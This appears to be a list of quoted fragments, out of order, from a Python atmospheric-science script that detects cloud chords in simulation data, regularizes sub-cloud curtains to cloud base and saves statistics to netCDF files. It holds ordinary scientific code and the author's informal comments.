"(time_prof[1]-time_prof[0])/2 for tt in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] =",
"interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof])",
"data, which devided by the grid spacing gives us a",
"dewpoint = (B * alpha) / (A - alpha) dewpoint",
"but spit out a warning if it happens if cbl_1d_prof[tt]>0.6*nz_prof:",
"dz = z_prof[1]-z_prof[0] print('dz: ',dz) #for boundary scaling total_surf_buoy_flux =",
"= ttiimmee.time() dz = 25.0 #39.0625 #should be overwritten after",
"in seconds, taken to agree with Lareau if chord_times ==",
"over time: ',cbl_1d_prof) print('calculated LCL: ',LCL_index) #Now we either iterate",
"is at 1 d_z_tmp = 1.0/z_idx_base[i] nz = var_orig_col.shape[0] z_reg_orig_top",
"tmp_w_per = np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up",
"surf_flux/w_star var_curtain_tmp = var_curtain_tmp/boundary_scaling #Finally add it to the mean",
"coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs = settings_dict",
"and qt we subtract the closet mean profile for tt",
"= (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star = surf_qt_flux/w_star surf_thl_flux =",
"mean, #But now we are making it a function of",
"np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_chord = 0",
"np.array([5,10,35,50,65,90,95]) #1D clustering parameters in seconds, taken to agree with",
"now be able to delete 3d fields as they aren't",
"if data_dim_flag==1: scale_flag=0 #Creating dictionary to save all properties settings_dict",
"= cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l]))",
"break the memory bank #want to keep the automatic x",
"# plot_curtains_flag: 0 nothing, 1 plots pre and post regularization",
"the vectors don't perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose()",
"to the next cloudy timestep is lower than t_gap it",
"scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical interpolation to get the right",
"n_chords == int(chord_max/2): t_cloudy_idx = int(len(cbl_cl_idx)/2) t_cloudy_idx += 1 time3",
"if scale_flag>0 and data_dim_flag==3: if scale_flag==1: #find out if we",
"T = file_prof['thl'][:,0] p = file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2",
"the total histogram var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum = var_hist_sum+var_hist else:",
"= math.floor(nz*0.6) print('resulting indexes of cbl over time: ',cbl_1d_prof) print('calculated",
"= Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r')",
"file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] thl_prof = file_prof['thl'][:,:] qt_prof = file_prof['qt'][:,:]",
"height, which constant everywhere cbl_1d = t_1d*0 cbl_1d[:] = cbl_1d_prof[it]",
"to agree with Lareau if chord_times == 0: t_gap =",
"print(':') print(':') return #turned into a function #removed the possibility",
"np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d = t_1d*0 #dt_1d[1:] = t_1d[1:]-t_1d[:-1] else: #If no",
"rotate the curtain to point upwind. #TODO #plot_flag disabled for",
"< len(cbl_cl_idx)-1 and n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting",
"#Flag clean up if data_dim_flag==1: scale_flag=0 #Creating dictionary to save",
"regularization plots of reg_var # data_dim_flag: 1 = column, 3",
"1D #Now we simply go through all cloudy timesteps #As",
"so that deviding by n it comes out fin #We",
"#We are starting out with histograms of w from -10",
"273.15 LCL = 125.*(T-dewpoint) LCL_index = np.floor(LCL/dz) #now calculate the",
"size_bin_flag bins the beards by their chord_lenth. Currently using 8",
"if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star if reg_var=='thl':",
"made it a nested function var_curtain_tmp = (func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag",
"ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) var_2d = np.array(var_3d.reshape((nz,nx*ny))) #Now we do the",
"# base_smoothing_flag: 0 use mix of percentile and cloud base",
"to keep it at least somewhat general with a flexible",
"xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs = settings_dict #Making save string save_string_base",
"file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof =",
"to an inner function to avoid issues with global and",
"columns and asign them one by one to w_x_low_z_high #f",
"the z axes so that cloud base is at 1,",
"anomaly_flag==1: for tt in range(len(time_prof)): tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector =",
"regularizes to cloud base #2019-03-20: added smoother to hopefully avoid",
"#globals().update(locals()) ############################################################################################################################################### ################## SIZE BINNING ############################################################################################################## ############################################################################################################################################### if size_bin_flag: #getting",
"except: print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter #Now that w_x_low_z_high",
"chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration) chord_length =np.asarray(chord_length) chord_height =np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base) chord_w_star",
"chord_z_min = 0 chord_duration = 0 if chord_duration>t_min and chord_duration<t_max",
"file_col.variables['v'][:] v_2d = v_2d.transpose() print('t_1d',t_1d) #Load the var file, even",
"chordlength, using a 0.1 running mean if base_smoothing_flag ==1: z_idx_base_smooth",
"t_gap it counts as the same cloud #As an additional",
"0.0 t_max = 1e9 cell_min = 3 #Minimal number of",
"= t_1d*0 + total_surf_buoy_flux[it] qtflux_s_1d = t_1d*0 + total_surf_qt_flux[it] thlflux_s_1d",
"#Now adding the boundary scaling using w* #Is a bit",
"scaling_factor_x_prof.shape[0] z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add",
") print('ref_lvl used to determine reference winds',ref_lvl ) #fake t",
"later on, timestep: ',tt) cbl_1d_prof[tt] = math.floor(nz*0.6) print('resulting indexes of",
"= file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] nz_prof = w2.shape[1] var_prof =",
"= Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql')",
"of the cbl print('looking into date: ',date) if data_dim_flag==1: filename_column",
"data_dim_flag==3: n_iter =len(time_prof) #Setting curtains for var var_curtain_sum = np.zeros([n_t_reg,n_z_reg])",
"cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between",
"scaling for 1d data') sys.exit() #Now adding the boundary scaling",
"right columns and asign them one by one to w_x_low_z_high",
"sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind import UnionFind from cusize_functions import",
"be needed var_t_low_z_high = np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base vector #Assigning reference",
"of reg_var # data_dim_flag: 1 = column, 3 = 3D",
"z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to add 0 to the z_reg_orig",
"boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling =",
"thus all surface fluxes are the same everywhere. surf_flux =",
"used if anomaly_flag==1: #because the vectors don't perfectly align var_2d[:,:]",
"perfectly align var_2d[:,:] = (var_2d.transpose() - var_prof[it,:]).transpose() #to get the",
"surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star var_curtain_tmp",
"2*scaling_factor_x else: scaling_factor = 2*scaling_factor_y if scaling_factor>0: var_curtain_tmp = var_curtain_tmp[::-1,:]",
"= grab_3d_field(file_w ,it,'w') qt_3d = grab_3d_field(file_qt ,it,'qt') thl_3d = grab_3d_field(file_thl",
"not gap possible # directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max",
"chord_max: Maximum number of chords. If data_dim_flag=3 it will jump",
"= [] chord_time = [] chord_height = [] #percentile of",
"the closest full time values to the profile values dt_2",
") #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If no",
"{ 'reg_var': reg_var, 'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile,",
"t_1d[idx_end_chord] #Calculate the beginning and end of the curtain, we",
"the chord beginning and end idx_beg_chord = cbl_cl_idx[t_chord_begin] idx_end_chord =",
"ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This might",
"V_ref, time_resolution ) print('ref_lvl used to determine reference winds',ref_lvl )",
"= Dataset(filename_prof,read='r') extra_string = '' n_chords = 0 #This now",
"300 m cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt]) #To avoid issues later on",
"(0, 2, 1)) thl_3d = np.transpose(thl_3d, (0, 2, 1)) w_2d",
"minimum z_vlvl of the cbl print('looking into date: ',date) if",
"thing with the transposed field, use to be an either",
"beyond -1.5 and 1.5, total width defined by curtain_extra #takes",
"#Minimal number of cells needed to convert into a curtain",
"it will jump to the y direction when chord_max/2 is",
",n_t_reg) z_reg_bound = np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z",
"B = 237.7 alpha = ((A * (T- 273.15)) /",
"#The needed cbl height cbl_1d = t_1d*0 bflux_s_1d = t_1d*0",
"else: scaling_factor = 2*scaling_factor_y if scaling_factor>0: var_curtain_tmp = var_curtain_tmp[::-1,:] var_curtain_tmp",
"save_string = directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved size binned beards to",
"the difference to the next cloudy timestep is lower than",
"cells are right next to each other they are always",
"0 ch_duration = 0 if ch_duration>t_min and ch_duration<t_max and chord_z_min",
"= int((1+2*curtain_extra)/d_reg) t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg)",
"curtains are plotted. if plot_curtains_flag ==1: print('plotting not implemented yet')",
"data_dim_flag==1: print('sorry, but I havent implemented star scaling for 1d",
"= 0.005 n_z_reg = int(1.5/d_reg) n_t_reg = int((1+2*curtain_extra)/d_reg) t_reg_bound =",
"all cloudy indexes #Originally only cared if they fulfilled cloud",
"the rull regularized grid #print(t_reg_orig.shape,z_reg_mid.shape) f = interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(),",
"meter or lcl as reference height ref_lvl = cbl_1d_prof[it] u_ref",
"= min(idx_end_curtain,nt-1) time_beg_curtain = t_1d[idx_beg_curtain] time_end_curtain = t_1d[idx_end_curtain] chord_cells =",
"saves it #I will try to keep it at least",
"min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) print('n_curtain: ',n_curtain) time1",
"#Now we either iterate over columns or timesteps if data_dim_flag==1:",
"time_resolution = dx/V_ref print('time iterative, V_ref, time_resolution',it, V_ref, time_resolution )",
"with 3D data and thus all surface fluxes are the",
"a chord #and their properties are calculatted immediately t_cloudy_idx =",
"xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs = settings_dict #Making save string save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra))",
"'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height', 'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid,",
"scale_flag==1: #find out if we need scaling_factor_x or y by",
"thl_2d = np.array(thl_3d.reshape((nz,nx*ny))) #Now we do the same thing with",
"np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating through step ',it,'which contains",
"#print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] += 1 var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp if",
"#from unionfind import UnionFind from cusize_functions import * #import matplotlib.pyplot",
"the closet mean profile for tt in range(len(time_prof)): #globals().update(locals()) tmp_matrix",
"0 ): # reg_var = variable that will be regularized",
"bank #want to keep the automatic x and y calculation",
"= interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest') f_y = interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter",
"one more curtain #detecting if chord base has a positive",
"fake time vector we load the wind from the profile",
"function repeatedly #Full list of variables to analyze is unclear,",
"=len(time_prof) #for col in filename_column: n_iter = min(n_iter,N_it_max) for it",
"matplotlib.pyplot as plt import pandas as pd import gc import",
"axis d_z_tmp = 1.0/ref_idx nz = scaling_factor_x_prof.shape[0] z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2",
"somehow. Now I just set it really high where there",
"directory_input+date+'/ql.nc' filename_qt = directory_input+date+'/qt.nc' filename_thl = directory_input+date+'/thl.nc' file_w = Dataset(filename_w,read='r')",
"var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_chord",
"= 0 if chord_duration>t_min and chord_duration<t_max and chord_z_min > 4:",
"n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) time1",
"reg_var - profile. Works easiest for 3d output, 1d_flag needs",
"do the same thing with the transposed field, use to",
"calculate curtains when at least curtain_min is used # curtain_extra:",
"boundary scaling is used, the variable is scaled accordingly #Only",
"wind direction (right?) #Similarly, no basedefinition is needed, all values",
"= 30 t_max = 1200*100 #Made a 100 times longer",
"in range(len(time_prof)): w_var = 1.0 z=z_min while w_var > 0.08:",
"cleaner later on if scale_flag>0 and data_dim_flag==3: if scale_flag==1: #find",
"base_percentile = 25, special_name='', chord_times = 0, N_it_min=0, N_it_max=1e9): #",
"[] chord_qt_25 = [] chord_qt_75 = [] chord_w_flux = []",
"#because the vectors don't perfectly align var_2d[:,:] = (var_2d.transpose() -",
"total histogram var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum = var_hist_sum+var_hist else: print('no",
"things quickly # size_bin_flag bins the beards by their chord_lenth.",
"file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack together the Lifting condensation level",
"chord_height =np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star)",
"range(N_it_min,n_iter): print('n_chords: ',n_chords) print('n_curtain: ',n_curtain) time1 = ttiimmee.time() if data_dim_flag",
"I will try to include everything available, but this might",
"starting out with histograms of w from -10 to 10",
"we add a bit to to each side to make",
"perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2]",
"zero: ',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS ############################################################################################################################## #If the plot flag is",
"chords and regularized beards # proc_chords is used for chords",
"height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ###",
"1.0/ref_idx nz = scaling_factor_x_prof.shape[0] z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz)",
"to y direction if half of max chords reached ##############################################################################################################################",
"all files which contain column. column_files = glob.glob(directory_input+date+'/*column*.nc') for c_file",
"Neil if data_dim_flag==3: z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't think of",
"column files. Used for testing things quickly # size_bin_flag bins",
"in the curtain, default is 1 # chord_max: Maximum number",
"it matter if I turn these from lists to arrays?",
"= 1e9 cell_min = 10 #Minimal number of cells needed",
"added here, #Things are applied twice so that deviding by",
"= interp1d(z_reg_orig, var_orig_col, kind='next') f = interp1d(z_reg_orig, var_orig_col, kind='nearest') try:",
"by closing files #file_col.close() #The needed cbl height cbl_1d =",
"#1D clustering parameters, #set super strict if chord_times == 1:",
"print('ref_lvl used to determine reference winds',ref_lvl ) #fake t vector,",
"',scaling_factor_y, ' int(ref_idx): ',int(ref_idx)) if scale_flag == 2: #Regularizing the",
"= int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:]",
"cloud base #Should be able to work for any variable",
"= np.array(ql_3d.reshape((nz,nx*ny))) qt_2d = np.array(qt_3d.reshape((nz,nx*ny))) thl_2d = np.array(thl_3d.reshape((nz,nx*ny))) #Now we",
"math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't think of a good way to do",
"#fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d = t_1d*0 #dt_1d[1:]",
"int(len(cbl_cl_idx)/2) t_cloudy_idx += 1 time3 = ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes') print(':')",
"'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs = settings_dict #Making save",
"= 25.0 date = date_str n_percentiles = 7 #Number of",
"havent implemented star scaling for 1d data') sys.exit() #Now adding",
"2 which gets rid of 1D pre interpolation #I originally",
"20 t_min = 30 t_max = 1200*100 #Made a 100",
"3D data and thus all surface fluxes are the same",
"n_z_reg = int(1.5/d_reg) n_t_reg = int((1+2*curtain_extra)/d_reg) t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1)",
"reg_var+'_up':(('regularized height', 'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height', 'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)},",
"= np.zeros((nz,1)) var_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The needed",
"find chordlength bottom # chord_times: 0 use Neils values, use",
"chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 chord_duration = 0",
"don't perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() tmp_matrix =",
"the Lifting condensation level LCL qt_pressure = p*qt sat_qv =",
"np.array(thl_3d.reshape((nz,nx*ny))) #Now we do the same thing with the transposed",
"the 3D version. Will have to calculate a vector for",
"= t_1d*0 + total_surf_thl_flux[it] time2 = ttiimmee.time() print('loading time:',(time2-time1)*1.0,) ###",
"boundary_scaling_flag == 1 and len(cbl_cl_idx)>1: #First thing to do is",
"#The needed cbl height, which constant everywhere cbl_1d = t_1d*0",
"align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector",
"range(len(time_prof)): tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = var_prof[tt,:] #because the vectors",
"#2019-03-20: added smoother to hopefully avoid impact of harsch jumps",
"n_chords += 1 #Getting the chord beginning and end idx_beg_chord",
"if boundary_scaling_flag == 1: #Now adding the boundary scaling using",
"var_2d = w_2d if reg_var == 'ql': var_2d = ql_2d",
"range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] = z_idx_base_smooth[:] if base_smoothing_flag==2: #just",
"cbl top for each profile time for tt in range(len(time_prof)):",
"star scaling for 1d data') sys.exit() #Now adding the boundary",
"d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to add 0 to the",
"and n_y are roughly same #Could be made cleaner later",
"included:',c_file) if data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' filename_qt",
"[nz, nx, ny] = get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc'",
"t_1d*0 thlflux_s_1d = t_1d*0 #Now we go through profile time",
"time slice, is needed for scale_flag # scale_flag: If 0,",
"[] chord_w_flux = [] #Sum of w below #Coming next",
"out the total sums, 1: adds a seperate output for",
"directory_input+date+'/thl.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') file_thl = Dataset(filename_thl,read='r')",
"interp2d, tried griddata but it was a lot slower #Calculating",
"ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] u_2d = file_col.variables['u'][:] u_2d",
"np.zeros((nz,1)) var_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The needed cbl",
"#Making save string save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3: save_string_base =",
"= np.zeros([N_bins]) n_curtain_bin_dw = np.zeros([N_bins]) var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum =",
"z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] = z_idx_base_smooth[:] if base_smoothing_flag==2: #just put",
"and track one more curtain #detecting if chord base has",
"#sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind import UnionFind from cusize_functions import *",
"=np.asarray(chord_qt_75) chord_time =np.asarray(chord_time) #Saving print('all chords: ',len(chord_duration)) save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times)",
"total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] time_prof = file_prof['time'][:] cbl_1d_prof",
"t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking if",
"Works easiest for 3d output, 1d_flag needs to use the",
"it is named the same as the file. #Changing 3D",
"cbl_1d_prof[it] else: #If no clouds are present we pass a",
"* (T- 273.15)) / (B + (T-273.15))) alpha = alpha",
"np.zeros([0,n_percentiles]) chord_w_per_up = np.zeros([0,n_percentiles]) #This now a bit trickier then",
"= get_zxy_dimension(filename_l,'ql') #getting variable to be regularized filename_var = directory_input+date+'/'+reg_var+'.nc'",
"per chord curtain_min = 10 #Minimal number of cells needed",
"tail noes not extend beyond end of 2d field or",
"for n_prof in range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof] var_curtain_tmp",
"time_end = ttiimmee.time() print('total run time of proc_beard_regularize in minutes:",
"appending chord properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height)",
"full time values to the profile values dt_2 = (time_prof[1]-time_prof[0])/2",
"base and saves it #I will try to keep it",
"= (tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag ==3:",
"of time points included: ',len(cbl_cl_idx)) #Does it matter if I",
"base height # 2, similar to 1 but now using",
"'/data/testbed/lasso/sims/' #+date # N_it_max = maximum number of iterables, 3D",
"cells needed per chord ql_min = 1e-5 #value used to",
"in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now",
"also added a minimum height of 100 m to screen",
"to interpolate 2D onto the rull regularized grid #print(t_reg_orig.shape,z_reg_mid.shape) f",
"= f(t_reg_mid,z_reg_mid) return var_curtain #Creating regularized grid. d_reg = 0.005",
"0 if chord_duration>t_min and chord_duration<t_max and chord_z_min > 4: if",
"thl_star = surf_thl_flux/w_star chord_w_star.append(w_star ) chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l]))",
"a histogram below the cloud base and saves it #I",
"these from lists to arrays? Fuck it, will do it",
"extend beyond end of 2d field or the beginning extend",
"function var_curtain_tmp = (func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag == 1: #Now adding",
"overwritten after the profile data is loaded dx = 25.0",
"average 2: just use percentile defined by base_percentile # base_percentile:",
"of 1D pre interpolation #I originally used interp2d, tried griddata",
"############################################################################################################################################### ################## SIZE BINNING ############################################################################################################## ############################################################################################################################################### if size_bin_flag: #getting V_ref",
"qtflux_s_1d = t_1d*0 thlflux_s_1d= t_1d*0 #Now we go through profile",
"out base after setting it with running average 2: just",
"Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') file_thl = Dataset(filename_thl,read='r') file_qt = Dataset(filename_qt,read='r')",
"#we also added a minimum height of 100 m to",
"variables def func_curtain_reg(input_2d_field): #function regularizes to cloud base #2019-03-20: added",
"grab_3d_field(file_qt ,it,'qt') thl_3d = grab_3d_field(file_thl ,it,'thl') #Here we have to",
"the chordlength, using a 0.1 running mean if base_smoothing_flag ==1:",
"tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = var_prof[tt,:] #because the vectors don't",
"buffer at the beginning and end, because for the interpolation",
"assume here that n_x and n_y are roughly same #Could",
"1, range_var = [-10,10] ): #We are starting out with",
"dz = 25.0 #39.0625 #should be overwritten after the profile",
"we have to do all the fuckery to turn the",
"fulfills cell_min they are counted as a chord #and their",
"base cl_base_25_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx = cl_base[ch_idx_l]*0 +",
"= np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking into date: ',date) if data_dim_flag==1: filename_column",
"all cloudy indexes while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or",
"cloud base surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star = (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux =",
"mean cloud base height as the reference lvl ref_idx =",
"= [] #percentile of cloud base chord_w = [] chord_w_up",
"a nested function var_curtain_tmp = (func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag == 1:",
"to the z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_col",
"#for boundary scaling total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux",
"= Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r')",
